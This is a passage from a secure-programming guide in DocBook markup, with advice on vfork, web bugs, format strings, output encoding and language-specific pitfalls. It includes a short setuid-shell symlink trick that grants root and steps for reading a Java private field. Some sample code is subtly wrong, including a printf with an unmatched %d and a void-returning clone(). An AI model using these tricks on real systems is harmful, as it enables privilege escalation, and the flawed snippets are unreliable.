The portable way to create new processes in Unix-like systems
is to use the fork(2) call.
BSD introduced a variant called vfork(2) as an optimization technique.
In vfork(2), unlike fork(2),  the child borrows the parent's memory
and thread of control until a call to execve(2V) or an exit occurs;
the parent process is suspended while the child is using its resources.
The rationale is that in old BSD systems, fork(2) would actually cause
memory to be copied while vfork(2) would not.
Linux never had this problem; because Linux used copy-on-write
semantics internally, Linux only copies pages when they changed
(actually, there are still some tables that have to be copied; in most
circumstances their overhead is not significant).
Nevertheless, since some programs depend on vfork(2),
recently Linux implemented the BSD vfork(2) semantics
(previously vfork(2) had been an alias for fork(2)).
</para>

<para>
There are a number of problems with vfork(2).
From a portability point-of-view,
the problem with vfork(2) is that it's actually fairly tricky for a
process to not interfere with its parent, especially in high-level languages.
The ``not interfering'' requirement applies to the actual machine code
generated, and many compilers generate hidden temporaries and other
code structures that cause unintended interference.
The result: programs using vfork(2) can easily fail when the code changes
or even when compiler versions change.
</para>

<para>
For secure programs it gets worse on Linux systems, because
Linux (at least 2.2 versions through 2.2.17) is vulnerable to a
race condition in vfork()'s implementation.
If a privileged process uses a vfork(2)/execve(2) pair in Linux
to execute user commands, there's a race condition
while the child process is already running as the target user`s
UID, but hasn`t entered execve(2) yet.
The user may be able to send signals, including SIGSTOP, to this process.
Due to the semantics of
vfork(2), the privileged parent process would then be blocked as well.
As a result, an unprivileged process could cause the privileged process
to halt, resulting in a denial-of-service of the privileged process' service.
FreeBSD and OpenBSD, at least, have code to specifically deal with this
case, so to my knowledge they are not vulnerable to this problem.
My thanks to Solar Designer, who noted and documented this
problem in Linux on the ``security-audit'' mailing list on October 7, 2000.
<!-- 
http://www.geocrawler.com/search/?config=302&words=Designer+vfork
http://www.geocrawler.com/archives/3/302/2000/10/0/4460856/
-->
</para>

<para>
The bottom line with vfork(2) is simple:
<emphasis remap="it">don't</emphasis> use vfork(2) in your programs.
This shouldn't be difficult; the primary use of vfork(2) is to support old
programs that needed vfork's semantics.
</para>
</sect1>

<sect1 id="embedded-content-bugs">
<title>Counter Web Bugs When Retrieving Embedded Content</title>
<para>
Some data formats can embed references to content that is automatically
retrieved when the data is viewed (not waiting for a user to select it).
If it's possible to cause this data to be retrieved through the
Internet (e.g., through the World Wide Wide), then there is a
potential to use this capability to obtain information about readers
without the readers' knowledge, and in some cases to force the reader
to perform activities without the reader's consent.
This privacy concern is sometimes called a ``web bug.''
</para>

<para>
In a web bug, a reference is intentionally inserted into a document
and used by the content author to track
where (and how often) a document is being read.
The author can also watch how a ``bugged'' document
is passed from one person to another or from one organization to another. 
</para>

<para>
The HTML format has had this issue for some time.
According to the
<ulink url="http://www.privacyfoundation.org">Privacy Foundation</ulink>:
<blockquote>
<para>
Web bugs are used extensively today by Internet
advertising companies on Web pages and
in HTML-based email messages for tracking.
They are typically 1-by-1 pixel in size to make them
invisible on the screen to disguise the fact that they are used for tracking.
</para>
</blockquote>
</para>

<para>
What is more concerning is that other document formats seem to have
such a capability, too.
When viewing HTML from a web site with a web browser, there are other
ways of getting information on who is browsing the data, but when
viewing a document in another format from an email few users expect
that the mere act of reading the document can be monitored.
However, for many formats, reading a document can be monitored.
For example, it has been recently determined that Microsoft Word can
support web bugs;
see
<ulink url="http://www.privacyfoundation.org/advisories/advWordBugs.html">
the Privacy Foundation advisory for more information </ulink>.
As noted in their advisory,
recent versions of Microsoft Excel and Microsoft Power Point can also
be bugged.
In some cases, cookies can be used to obtain even more information.
</para>

<para>
Web bugs are primarily an issue with the design of the file format.
If your users value their privacy, you probably will want to limit the
automatic downloading of included files.
One exception might be when the file itself is being downloaded
(say, via a web browser); downloading other files from the same location
at the same time is much less likely to concern users.
</para>

</sect1>

<sect1 id="hide-sensitive-information">
<title>Hide Sensitive Information</title>
<para>
Sensitive information should be hidden from prying eyes, both while
being input and output, and when stored in the system.
Sensitive information certainly includes credit card numbers,
account balances, and home addresses, and in many applications
also includes names, email addressses, and other private information.
</para>

<para>
Web-based applications should encrypt all communication with a user
that includes sensitive information; the usual way is to use the
"https:" protocol (HTTP on top of SSL or TLS).
According to the HTTP 1.1 specification (IETF RFC 2616 section 15.1.3),
authors of services which use the HTTP protocol <emphasis>should not</emphasis>
use GET based forms for the submission of sensitive data,
because this will cause this data to be encoded in the Request-URI.
Many existing servers, proxies, and user agents will log
the request URI in some place where it might be visible to third parties.
Instead, use POST-based submissions, which are intended for
this purpose.
</para>

<para>
Databases of such sensitive data should also be encrypted on any storage
device (such as files on a disk).
Such encryption doesn't protect against an attacker breaking the secure
application, of course, since obviously the application
has to have a way to access the encrypted data too.
However, it <emphasis>does</emphasis> provide some defense against
attackers who manage to get backup disks of the data
but not of the keys used to decrypt them.
It also provides some defense if an attacker doesn't manage to break
into an application, but does manage to partially break into a related
system just enough to view the stored data - again, they now have to
break the encryption algorithm to get the data.
There are many circumstances where data can be transferred unintentionally
(e.g., core files), which this also prevents.
It's worth noting, however, that this is not as strong a defense as you'd
think, because often the server itself can be subverted or broken.
</para>
</sect1>
</chapter>

<chapter id="output">
<title>Send Information Back Judiciously</title>

<epigraph>
<attribution>Proverbs 26:4 (NIV)</attribution>
<para>
Do not answer a fool according to his folly,
or you will be like him yourself. 
</para>
</epigraph>

<sect1 id="minimize-feedback">
<title>Minimize Feedback</title>

<para>
Avoid giving much information to untrusted users; simply succeed or fail,
and if it fails just say it failed and minimize information on why it failed.
Save the detailed information for audit trail logs.
For example:

<itemizedlist>
<listitem>

<para>
If your program requires some sort of user authentication
(e.g., you're writing a network service or login program),
give the user as little information as possible before they authenticate.
In particular, avoid giving away the version number of your program
before authentication.
Otherwise,
if a particular version of your program is found to have a vulnerability,
then users who don't upgrade from that version advertise to attackers that
they are vulnerable.
</para>
</listitem>
<listitem>

<para>
If your program accepts a password, don't echo it back;
this creates another way passwords can be seen.
</para>
</listitem>

</itemizedlist>

</para>
</sect1>

<sect1 id="no-comments">
<title>Don't Include Comments</title>

<para>
When returning information, don't include any ``comments'' unless you're
sure you want the receiving user to be able to view them.
This is a particular problem for web applications that generate files
(such as HTML).
Often web application programmers wish to comment their work
(which is fine), but instead of simply leaving the comment in their code,
the comment is included as part of the generated file (usually HTML or XML)
that is returned to the user.
The trouble is that these comments sometimes provide insight into how
the system works in a way that aids attackers.
</para>
</sect1>

<sect1 id="handle-full-output">
<title>Handle Full/Unresponsive Output</title>

<para>
It may be possible for a user to clog or make unresponsive a secure
program's output channel back to that user.
For example, a web browser could be intentionally halted or have its
TCP/IP channel response slowed.
The secure program should handle such cases, in particular it should release
locks quickly (preferably before replying) so that this will not create
an opportunity for a Denial-of-Service attack.
Always place timeouts on outgoing network-oriented write requests.
</para>

</sect1>

<sect1 id="control-formatting">
<title>Control Data Formatting (``Format Strings'')</title>

<para>
A number of output routines in computer languages have a
parameter that controls the generated format.
In C, the most obvious example is the printf() family of routines
(including printf(), sprintf(), snprintf(), fprintf(), and so on).
Other examples in C include syslog() (which writes system log information)
and setproctitle() (which sets the string used to display
process identifier information).
Many functions with names beginning with ``err'' or ``warn'', containing
``log'' , or ending in ``printf'' are worth considering.
<!-- log() style functions calling v* in particular -->
<!-- Some info from 7/21/2000, Theo de Raadt on Bugtraq -->
<!-- OpenBSD docs for setproctitle() is at
     http://www.rocketaware.com/man/man3/setproctitle.3.htm -->
Python includes the "%" operation, which on strings controls formatting
in a similar manner.
Many programs and libraries define formatting functions, often by
calling built-in routines and doing additional processing
(e.g., glib's g_snprintf() routine).
</para>

<para>
Surprisingly, many people seem to forget the power of these formatting
capabilities and use data from untrusted users as the formatting parameter.
Never use unfiltered data from an untrusted user as the format parameter.
Perhaps this is best shown by example:
<programlisting width="61">
  /* Wrong ways: */
  printf(string_from_untrusted_user);
  /* Right ways: */
  printf("%s %d", string_from_untrusted_user); /* or just */
  fputs(string_from_untrusted_user);
</programlisting>
</para>

<para>
Otherwise, an attacker can cause all sorts of mischief by carefully
selecting the formatting string.
The case of C's printf() is a good example -
there are lots of ways to possibly exploit user-controlled format strings
in printf().
These include
buffer overruns by creating a long formatting string (this can
result in the attacker having complete control over the program),
conversion specifications that use unpassed parameters
(causing unexpected data to be inserted), and
creating formats which produce totally unanticipated result values
(say by prepending or appending awkward data,
causing problems in later use).
A particularly nasty case is printf's
%n conversion specification, which writes the
number of characters written so far into the pointer argument; 
using this, an attacker can overwrite a value that was intended for printing!
An attacker can even overwrite almost arbitrary locations, since the attacker
can specify a ``parameter'' that wasn't actually passed.
Since in many cases the results are sent back to the user,
this attack can also be used to expose internal information about the stack.
This information can then be used to circumvent stack protection systems
such as StackGuard; StackGuard uses constant ``canary'' values
to detect attacks, but if the stack's contents can be displayed,
the current value of the canary will be
exposed and made vulnerable.
<!-- Fri, 21 Jul 2000 12:21:20 -0400,
     From:    Alan DeKok <aland@STRIKER.OTTAWA.ON.CA>
     Subject: StackGuard with ... Re: [Paper] Format bugs.
-->
</para>

<para>
A formatting string should almost always be a constant string,
possibly involving a function call to implement a
lookup for internationalization (e.g., via gettext's _()).
Note that this
lookup must be limited to values that the program controls, i.e., the
user must be allowed to only select from the message files controlled
by the program.
It's possible to filter user data before using it (e.g., by designing
a filter listing legal characters for the format string such as [A-Za-z0-9]),
but it's usually better to simply prevent the problem
by using a constant format string or fputs() instead.
Note that although I've listed this as an ``output'' problem, this can
cause problems internally to a program before output
(since the output routines may be saving to a file, or even just generating
internal state such as via snprintf()).
</para>

<para>
The problem of input formatting causing security problems is
is not an idle possibility; see CERT Advisory CA-2000-13
for an example of an exploit using this weakness.
For more information on how these problems can be exploited, see
Pascal Bouchareine's email article titled ``[Paper] Format bugs'',
published in the July 18, 2000 edition of
<ulink url="http://www.securityfocus.com">Bugtraq</ulink>.
<!-- This paper can be hard to extract, but it's there -->
As of December 2000,
developmental versions of the gcc compiler support warning messages for
insecure format string usages, in an attempt to help developers avaoid
these problems.
<!-- John Levon passed this information on to me; as of Dec 11, 2000, this
  was in the CVS version of gcc -->
</para>

<para>
Of course, this all begs the question as to whether or not the
internationalization lookup is, in fact, secure.
If you're creating your own internationalization lookup routines,
make sure that an untrusted user can only specify a legal locale and not
something else like an arbitrary path.
</para>

<para>
Clearly, you want to limit the strings created through internationalization
to ones you can trust.
Otherwise, an attacker could use this ability to exploit the
weaknesses in format strings, particularly in C/C++ programs.
This has been an item of discussion in Bugtraq (e.g., see
John Levon's Bugtraq post on July 26, 2000).
For more information, see the discussion on
on permitting users to only select legal language values in
<xref linkend="locale-legal-values">
</para>

<para>
Although it's really a programming bug, it's worth mentioning that
different countries notate numbers in different ways, in particular,
both the period (.) and comma (,) are used to separate an integer
from its fractional part.  If you save or load data, you need to make sure
that the active locale does not interfere with data handling.
Otherwise, a French user may not be able to exchange data with an
English user, because the data stored and retrieved will use
different separators.
I'm unaware of this being used as a security problem, but it's conceivable.
</para>

</sect1>

<sect1 id="output-character-encoding">
<title>Control Character Encoding in Output</title>

<para>
In general, a secure program must ensure that it synchronizes its
clients to any assumptions made by the secure program.
One issue often impacting web applications is that they forget to
specify the character encoding of their output.
This isn't a problem if all data is from trusted sources, but if
some of the data is from untrusted sources, the untrusted source may
sneak in data that uses a different encoding than the one expected
by the secure program.
This opens the door for a cross-site malicious content attack; see
<xref linkend="input-protection-cross-site"> for more information.
</para>

<para>
<ulink url="http://www.cert.org/tech_tips/malicious_code_mitigation.html">CERT's tech tip on malicious code mitigation</ulink> explains the problem
of unspecified character encoding fairly well, so I quote it here:

<blockquote>
<para>
Many web pages leave the character encoding
("charset" parameter in HTTP) undefined.
In earlier versions of HTML and HTTP, the character encoding
was supposed to default to ISO-8859-1 if it wasn't defined.
In fact, many browsers had a different default, so it was not possible
to rely on the default being ISO-8859-1.
HTML version 4 legitimizes this - if the character encoding isn't specified,
any character encoding can be used.
</para>

<para>
If the web server doesn't specify which character encoding is in use,
it can't tell which characters are special.
Web pages with unspecified character encoding work most of the time
because most character sets assign the same characters to byte values
below 128.
But which of the values above 128 are special?
Some 16-bit character-encoding schemes have additional
multi-byte representations for special characters such as "<".
Some browsers recognize this alternative encoding and act on it.
This is "correct" behavior, but it makes attacks using malicious scripts
much harder to prevent.
The server simply doesn't know which byte sequences
represent the special characters.
</para>

<para>
For example, UTF-7 provides alternative encoding for "&lt;" and "&gt;",
and several popular browsers recognize these as the start and end of a tag.
This is not a bug in those browsers.
If the character encoding really is UTF-7, then this is correct behavior.
The problem is that it is possible to get into a situation in which
the browser and the server disagree on the encoding. 
</para>
</blockquote>
</para>

<para>
Thankfully, though explaining the issue is tricky, its resolution in HTML
is easy.
In the HTML header, simply specify the charset, like this example
from CERT:
<programlisting>
&lt;HTML&gt;
&lt;HEAD&gt;
&lt;META http-equiv=&quot;Content-Type&quot;
content=&quot;text/html; charset=ISO-8859-1&quot;&gt;
&lt;TITLE&gt;HTML SAMPLE&lt;/TITLE&gt;
&lt;/HEAD&gt;
&lt;BODY&gt;
&lt;P&gt;This is a sample HTML page
&lt;/BODY&gt;
&lt;/HTML&gt;
</programlisting>

</para>

<para>
From a technical standpoint,
an even better approach is to set the character encoding as part of
the HTTP protocol output, though some libraries make this more difficult.
This is technically better because it doesn't force the client to
examine the header to determine a character encoding that would enable it
to read the META information in the header.
Of course, in practice a browser that couldn't read the META information
given above and use it correctly would not succeed in the marketplace,
but that's a different issue.
In any case, this just means that the server would need to send
as part of the HTTP protocol, a ``charset'' with the desired value.
Unfortunately, it's hard to heartily recommend this (technically better)
approach, because some older HTTP/1.0 clients did not deal properly with
an explicit charset parameter.
<!-- This is documented in the HTTP 1.1 specification -->
Although the HTTP/1.1 specification requires clients to obey the parameter,
it's suspicious enough that you probably ought to use it as an
adjunct to forcing the use of the correct
character encoding, and not your sole mechanism.
</para>

</sect1>

<sect1 id="prevent-include-access">
<title>Prevent Include/Configuration File Access</title>
<!-- I was reminded of this by the Bugtraq posting of 1 Dec 2000
by Mads Bach (bach@INDER.NET), "Subject: Web based apps and include files" -->

<para>
When developing web based applications,
do not allow users to access (read) files such as the program include and
configuration files.
This data may provide enough information (e.g., passwords) to break into
the system.
Note that this guideline sometimes also applies to other kinds of applications.
There are several actions you can take to do this, including:
<itemizedlist>
<listitem><para>Place
the include/configuration files outside of the web documentation
root (so that the web server will never serve the files).</para></listitem>
<listitem><para>Configure the web server so it will not serve include files as
text.  For example, if you're using Apache,
you can add a handler or an action for .inc files.</para></listitem>
<listitem><para>Place the include files
in a protected directory (using .htaccess), and designate them as files
that won't be served.
<!-- Suggested by Dustin Rue in Bugtraq 1 Dec 2000 to 4 Dec 2000 -->
</para></listitem>
<listitem><para>Use a filter to deny access to the files.
For Apache, this can be done using:
<programlisting width="61">
<![CDATA[
 <Files ~ "\.phpincludes">
    Order allow,deny
    Deny from all
 </Files>
]]>
</programlisting>
If you need full regular expressions to match filenames, in Apache you
could use the FilesMatch directive.
<!-- Suggested by Julien Savoie and James Lyon
     in Bugtraq 1 Dec 2000 to 4 Dec 2000 -->
</para></listitem>
<listitem><para>If your include file is a valid script file,
which your server will parse,
make sure that it doesn't act on user-supplied parameters and that it's
designed to be secure.</para></listitem>
</itemizedlist>
</para>

<para>
These approaches won't protect you from users who
have access to the directories your files are in if they are world-readable.
You could change the permissions of the files so
that only the uid/gid of the webserver can read these files.
However, this approach won't work if the user can get the web server to
run his own scripts (the user can just write scripts to access your files).
Fundamentally, if your site is being hosted on a server shared with
untrusted people, it's harder to secure the the system.
One approach is to run multiple web serving programs, each with different
permissions; this provides more security but is painful in practice.
Another approach is to set these files to be read only by your uid/gid,
and have the server run scripts at ``your'' permission.
This latter approach has its own problems: it means that certain parts of
the server must have root privileges, and that the script may
have more permissions than necessary.
</para>
</sect1>



</chapter>

<chapter id="language-specific">
<title>Language-Specific Issues</title>
<epigraph>
<attribution>1 Corinthians 14:10 (NIV)</attribution>
<para>
Undoubtedly there are all sorts of languages in the world,
yet none of them is without meaning.
</para>
</epigraph>

<para>
There are many language-specific security issues.
Many of them can be summarized as follows:
<itemizedlist>
<listitem><para>
Turn on all relevant warnings and protection mechanisms available to you
where practical.
For compiled languages, this includes
both compile-time mechanisms and run-time mechanisms.
In general, security-relevant programs should compile cleanly with
all warnings turned on.
</para></listitem>

<listitem><para>
Avoid dangerous and deprecated operations in the language.
By ``dangerous'', I mean operations which are difficult to use correctly.
</para></listitem>

<listitem><para>
Ensure that the languages'
infrastructure (e.g., run-time library) is available and secured.
</para></listitem>

<listitem><para>
Languages that automatically garbage-collect strings should be
especially careful to immediately erase secret data
(in particular secret keys and passwords).
</para></listitem>

<listitem><para>
Know precisely the semantics of the operations that you are using.
Look up operation's semantics in its documentation.
Do not ignore return values unless you're sure they cannot be relevant.
This is particularly difficult in languages which don't support exceptions,
like C, but that's the way it goes.
</para></listitem>
</itemizedlist>
</para>

<sect1 id="c-cpp">
<title>C/C++</title>
<para>
One of the biggest security problems with C and C++ programs is
buffer overflow; see <xref linkend="buffer-overflow">
for more information.
C has the additional weakness of not supporting exceptions, which makes
it easy to write programs that ignore critical error situations.
</para>

<para>
<!-- The example is from Sebastian (Bugtraq, 26 June 2000) -->
One complication in C and C++ is that the character type ``char'' can be
signed or unsigned (depending on the compiler and machine).
When a signed char with its high bit set
is saved in an integer, the result will be a negative number;
in some cases this can be exploitable.
In general, use ``unsigned char'' instead of char or signed char for
buffers, pointers, and casts when
dealing with character data that may have values greater than 127 (0x7f).
</para>

<para>
C and C++ are by definition very lax in their type-checking support, but
there's no need to be lax in your code.
Turn on as many compiler warnings as you can and change the code to cleanly
compile with them, and strictly use ANSI prototypes in separate header
(.h) files to ensure that all function calls use the correct types.
For C or C++ compilations using gcc, use at least
the following as compilation flags (which turn on a host of warning messages)
and try to eliminate all warnings (note that -O2 is used since some
warnings can only be detected by the data flow analysis performed at
higher optimization levels):
<screen width="61">
gcc -Wall -Wpointer-arith -Wstrict-prototypes -O2
</screen>
You might want ``-W -pedantic'' too.
</para>

<para>
Many C/C++ compilers can detect inaccurate format strings.
For example,
gcc can warn about inaccurate format strings for functions you create
if you use its __attribute__() facility (a C extension) to mark such functions,
and you can use that facility without making your code non-portable.
Here is an example of what you'd put in your header (.h) file:
<programlisting width="61">
 /* in header.h */
 #ifndef __GNUC__
 #  define __attribute__(x) /*nothing*/
 #endif

 extern void logprintf(const char *format, ...)
    __attribute__((format(printf,1,2)));
 extern void logprintva(const char *format, va_list args)
    __attribute__((format(printf,1,0)));
</programlisting>
The "format" attribute takes either "printf" or "scanf", and the numbers
that follow are the parameter number of the format string and the first
variadic parameter (respectively). The GNU docs talk about this well.
Note that there are other __attribute__ facilities as well,
such as "noreturn" and "const".
<!-- The __attribute__ discussion
     Derived from "Stephen J. Friedl", Sat, 22 Jul 2000 16:21:08 -0700,
     Bugtraq -->
</para>

</sect1>

<sect1 id="perl">
<title>Perl</title>
<para>
Perl programmers should first read the man page perlsec(1), 
which describes a number of issues involved with writing secure programs
in Perl.
In particular, perlsec(1) describes the ``taint'' mode, which most
secure Perl programs should use.
Taint mode is automatically enabled if the real and effective user or group
IDs differ, or you can use the -T command line flag
(use the latter if you're running on behalf of someone else, e.g.,
a CGI script).
Taint mode turns on various checks, such as checking
path directories to make sure they aren't writable by others.
</para>

<para>
The most obvious affect of taint mode, however, is that
you may not use data derived from outside your program to
affect something else outside your program by accident.
In taint mode,
all externally-obtained input is marked as ``tainted'', including
command line arguments, environment variables,
locale information (see perllocale(1)),
results of certain system calls (readdir, readlink,
the gecos field of getpw* calls), and all file input.
Tainted data may not be
used directly or indirectly in any command that invokes a
sub-shell, nor in any command that modifies files,
directories, or processes.
There is one important exception: If you
pass a list of arguments to either system or exec, the
elements of that list are NOT checked for taintedness, so
be especially careful with system or exec while in taint mode.
</para>

<para>
Any data value derived from tainted data becomes tainted also.
There is one exception to this; the way to untaint data is to
extract a substring of the tainted data.
Don't just use ``.*'' blindly as your substring, though, since this
would defeat the tainting mechanism's protections.
Instead, identify patterns that identify the ``safe'' pattern
allowed by your program, and use them to extract ``good'' values.
After extracting the value, you may still need to check it
(in particular for its length).
</para>

<para>
The open, glob, and backtick functions
call the shell to expand filename wild card characters; this
can be used to open security holes.
You can try to avoid these functions entirely, or use them in a
less-privileged ``sandbox'' as described in perlsec(1).
In particular, backticks should be rewritten using the system() call
(or even better, changed entirely to something safer).
</para>

<para>
The perl open() function comes with, frankly, 
``way too much magic'' for most secure programs; it interprets text
that, if not carefully filtered, can create lots of security problems.
Before writing code to open or lock a file, consult the perlopentut(1)
man page.
In most cases, sysopen() provides a safer (though more convoluted)
approach to opening a file.
<ulink
url="http://www.xray.mpe.mpg.de/mailing-lists/perl5-porters/2000-03/msg02596.html">
The new Perl 5.6 adds an open() call
with 3 parameters to turn off the magic behavior
without requiring the convolutions of sysopen()</ulink>.
</para>

<para>
Perl programs should turn on the warning flag (-w), which warns of
potentially dangerous or obsolete statements.
</para>

<para>
You can also run Perl programs in a restricted environment.
For more information see the ``Safe'' module in the standard Perl
distribution.
I'm uncertain of the amount of auditing that this has undergone,
so beware of depending on this for security.
You might also investigate the ``Penguin Model for
Secure Distributed Internet Scripting'', though at the time
of this writing the code and documentation seems to be unavailable.
<!-- Search for Penguin FAQ, the Penguin Model for Secure Distributed
  Internet Scripting -->
</para>
</sect1>

<sect1 id="python">
<title>Python</title>
<para>
As with any language,
beware of any functions which allow data to be executed as parts of
a program, to make sure an untrusted user can't affect their input.
This includes exec(), eval(), and execfile()
(and frankly, you should check carefully any call to compile()).
The input() statement is also surprisingly dangerous.
[Watters 1996, 150].
</para>

<para>
Python programs with privileges that can be invoked by unprivileged users
(e.g., setuid/setgid programs)
must <emphasis>not</emphasis> import the ``user'' module.
The user module causes the pythonrc.py file to be read and executed.
Since this file would be under the control of an untrusted user,
importing the user module allows an attacker to force the trusted
program to run arbitrary code.
</para>

<para>
Python includes support for ``Restricted Execution'' through
its RExec class.
This is primarily intended for executing applets and mobile code, but
it can also be used to limit privilege in a program even when the
code has not been provided externally.
By default, a restricted execution
environment permits reading (but not writing) of files,
and does not include operations for network access or GUI interaction.
These defaults can be changed, but beware of creating loopholes in
the restricted environment.
In particular, allowing a user to unrestrictedly add attributes to a
class permits all sorts of ways to subvert the environment
because Python's implementation calls many ``hidden'' methods.
Note that, by default, most Python objects are passed by reference; if you
insert a reference to a mutable value into a restricted program's environment,
the restricted program can change the object in a way that's visible
outside the restricted environment!
Thus, if you want to give access to a mutable value, in many cases
you should copy the mutable value or use the Bastion module (which supports
restricted access to another object).
For more information, see
Kuchling [2000].
I'm uncertain of the amount of auditing that the restricted
execution capability has undergone, so programmer beware.
</para>
</sect1>

<sect1 id="shell">
<title>Shell Scripting Languages (sh and csh Derivatives)</title>
<para>
I strongly recommend against using
standard command shell scripting languages (such as csh, sh, and bash)
for setuid/setgid secure code.
Some systems (such as Linux) completely disable them, so you're
creating an unnecessary portability problem.
On some old systems they are fundamentally insecure due to a race condition
(as discussed in <xref linkend="process-creation">).
Even for other systems, they're not really a good idea.
Standard command shells are still notorious for being affected by
nonobvious inputs -
generally because command shells were designed to try to do
things ``automatically'' for an interactive user, not to defend against
a determined attacker.
For example,
``hidden'' environment variables (e.g., the ENV or BASH_ENV variable)
can affect how they operate or even execute arbitrary user-defined
code before the script can even execute.
Even things like filenames of the executable or directory contents can
affect things.
For example, on many Bourne shell implementations, doing the following
will grant root access (thanks to NCSA for describing this
exploit):
<!-- http://www.ncsa.uiuc.edu/General/Grid/ACES/security/programming/#setuid-sh-exploit -->
<programlisting width="61">
 % ln -s /usr/bin/setuid-shell /tmp/-x
 % cd /tmp
 % -x
</programlisting>
Some systems may have closed this hole, but the point still stands:
most command shells aren't intended for writing secure setuid/setgid programs.
For programming purposes, avoid creating setuid shell scripts, even
on those systems that permit them.
Instead, write a small program in another language to clean up the
environment, then have it call other executables (some of which
might be shell scripts).
</para>

<para>
If you still insist on using shell scripting languages, at least
put the script in a directory where it cannot be moved or changed.
Set PATH and IFS to known values very early in your script.
</para>
</sect1>

<sect1 id="ada">
<title>Ada</title>
<para>
In Ada95, the Unbounded_String type is often more flexible than the
String type because it is automatically resized as necessary.
However, don't store especially sensitive values such as passwords
or secret keys in an Unbounded_String, since core dumps and page areas
might still hold them later.
Instead, use the String type for this data and overwrite the data as
soon as possible with some constant value such as others => ' '.
</para>
</sect1>

<sect1 id="java">
<title>Java</title>

<para>
<!-- Could mention "Core Java 2"; see http://www.amazon.com/
     exec/obidos/ASIN/0130819336/ref=sim_books/102-4729136-4374443 -->
<!-- ???: Add more information about creating your own domains inside
     a Java program.-->
If you're developing secure programs using Java,
frankly your first step (after learning Java)
is to read the two primary texts for Java security, namely
Gong [1999]
and
McGraw [1999] (for the latter, look particularly at section 7.1).
You should also look at Sun's posted security code guidelines at
<ulink url="http://java.sun.com/security/seccodeguide.html">http://java.sun.com/security/seccodeguide.html</ulink>.
A set of slides describing Java's security model are freely available at
<ulink url="http://www.dwheeler.com/javasec">http://www.dwheeler.com/javasec</ulink>.
</para>

<para>
Obviously, a great deal depends on the kind of application you're developing.
Java code intended for use on the client side has a completely different
environment (and trust model) than code on a server side.
The general principles apply, of course; for example, you must
checking and filter any input from an untrusted source.
However, in Java there are some ``hidden'' inputs or potential inputs that you
need to be wary of, as discussed below.
Johnathan Nightingale [2000] made an interesting statement
summarizing many of the issues in Java programming:
<blockquote>
<para>
... the big thing with Java programming is minding your inheritances.
If you inherit methods from parents, interfaces, or
parents' interfaces, you risk opening doors to your code. 
</para>
</blockquote>
<!-- Secprog, Wed, 1 Nov 2000 18:46:43 -0500, Re: Secure Java programming -->
</para>

<para>
The following are a few key guidelines, based on Gong [1999],
McGraw [1999], Sun's guidance, and my own experience:

<orderedlist>

<listitem><para>
Do not use public fields or variables; declare them as private and
provide accessors to them so you can limit their accessibility.
</para></listitem>

<listitem><para>
Make methods private unless these is a good reason to do otherwise
(and if you do otherwise, document why).
These non-private methods must protect themselves, because they may
receive tainted data (unless you've somehow arranged to protect them).
</para></listitem>

<listitem><para>
The JVM may not actually enforce the accessibility modiifiers
(e.g., ``private'') at run-time in an application
(as opposed to an applet).
My thanks to John Steven (Cigital Inc.), who pointed this out
on the ``Secure Programming'' mailing list on November 7, 2000.
The issue is that it all depends on what class loader
the class requesting the access was loaded with.
If the class was loaded with a trusted class loader (including the null/
primordial class loader),
the access check returns "TRUE" (allowing access).
For example, this works
(at least with Sun's 1.2.2 VM ; it might not work with
other implementations):
<orderedlist>
<listitem><para>write a victim class (V) with a public field, compile it.</para></listitem>
<listitem><para>write an 'attack' class (A) that accesses that field, compile it </para></listitem>
<listitem><para>change V's public field to private, recompile</para></listitem>
<listitem><para>run A - it'll access V's (now private) field.</para></listitem>
</orderedlist>
</para>
<para>
However, the situation is different with applets.
If you convert A to an applet and run it as an applet
(e.g., with appletviewer or browser), its class loader is no
longer a trusted (or null) class loader.
Thus, the code will throw
java.lang.IllegalAccessError, with the message that
you're trying to access a field V.secret from class A.
</para></listitem>
<!-- Source: SECPROG
Date:    Tue, 7 Nov 2000 16:52:47 -0500
From:    John Steven jsteven@CIGITAL.COM
Subject: Re: Java and 'private'

I looked into this w/ the Java 1.1 VM Spec., and the 1.2.2 VM source,
'spent only a short amount of time on it-mileage may vary.
-->

<listitem><para>
Avoid using static field variables. Such variables are attached to the
class (not class instances), and classes can be located by any other class.
As a result, static field variables can be found by any other class, making
them much more difficult to secure.
</para></listitem>

<listitem><para>
Never return a mutable object to potentially malicious code
(since the code may decide to change it).
Note that arrays are mutable (even if the array contents aren't),
so don't return a reference to an internal array with sensitive data.
</para></listitem>

<listitem><para>
Never store user given mutable objects (including arrays of objects)
directly.
Otherwise, the user could hand the object to the secure code, let the
secure code ``check'' the object, and change the data while the secure code
was trying to use the data.
Clone arrays before saving them internally, and be careful here
(e.g., beware of user-written cloning routines).
</para></listitem>

<listitem><para>
Don't depend on initialization.
There are several ways to allocate uninitialized objects.
</para></listitem>

<listitem><para>
Make everything final, unless there's a good reason not to.
If a class or method is non-final, an attacker could try to extend it
in a dangerous and unforeseen way.
Note that this causes a loss of extensibility, in exchange for security.
</para></listitem>

<listitem><para>
Don't depend on package scope for security.
A few classes, such as java.lang, are closed by default, and some
Java Virtual Machines (JVMs) let you close off other packages.
Otherwise, Java classes are not closed.
Thus, an attacker could introduce a new class inside your package,
and use this new class to access the things you thought you were protecting.
</para></listitem>

<listitem><para>
Don't use inner classes.
When inner classes are translated into byte codes, the inner class
is translated into a class accesible to any class in the package.
Even worse, the enclosing class's private fields silently
become non-private to permit access by the inner class!
</para></listitem>

<listitem><para>
Minimize privileges.
Where possible, don't require any special permissions at all.
McGraw goes further and recommends not signing any code; I say
go ahead and sign the code (so users can decide to ``run only
signed code by this list of senders''), but try to write the program
so that it needs nothing more than the sandbox set of privileges.
If you must have more privileges, audit that code especially hard.
</para></listitem>

<listitem><para>
If you must sign your code, put it all in one archive file.
Here it's best to quote McGraw [1999]:
<blockquote>
<para>
The goal of this rule is to prevent
an attacker from carrying out a mix-and-match
attack in which the attacker constructs a new applet
or library that links some of your signed classes together
with malicious classes, or links together signed classes that you
never meant to be used together.
By signing a group of classes together, you make this attack more difficult.
Existing code-signing systems do an inadequate job of
preventing mix-and-match attacks, so this rule cannot
prevent such attacks completely. But using a single archive can't hurt.
</para>
</blockquote>
</para></listitem>

<listitem><para>
Make your classes uncloneable.
Java's object-cloning mechanism allows an attacker to
instantiate a class without running any of its constructors.
To make your class uncloneable, just define the following method
in each of your classes:
<programlisting width="71">
<![CDATA[
public final void clone() throws java.lang.CloneNotSupportedException {
   throw new java.lang.CloneNotSupportedException();
   }
]]>
</programlisting>
</para>
<para>
If you really need to make your class cloneable, then there are some
protective measures you can take to prevent attackers from redefining
your clone method.
If you're defining your own clone method, just make it final.
If you're not, you can at least prevent the clone method from 
being maliciously overridden by adding the following:
<programlisting width="71">
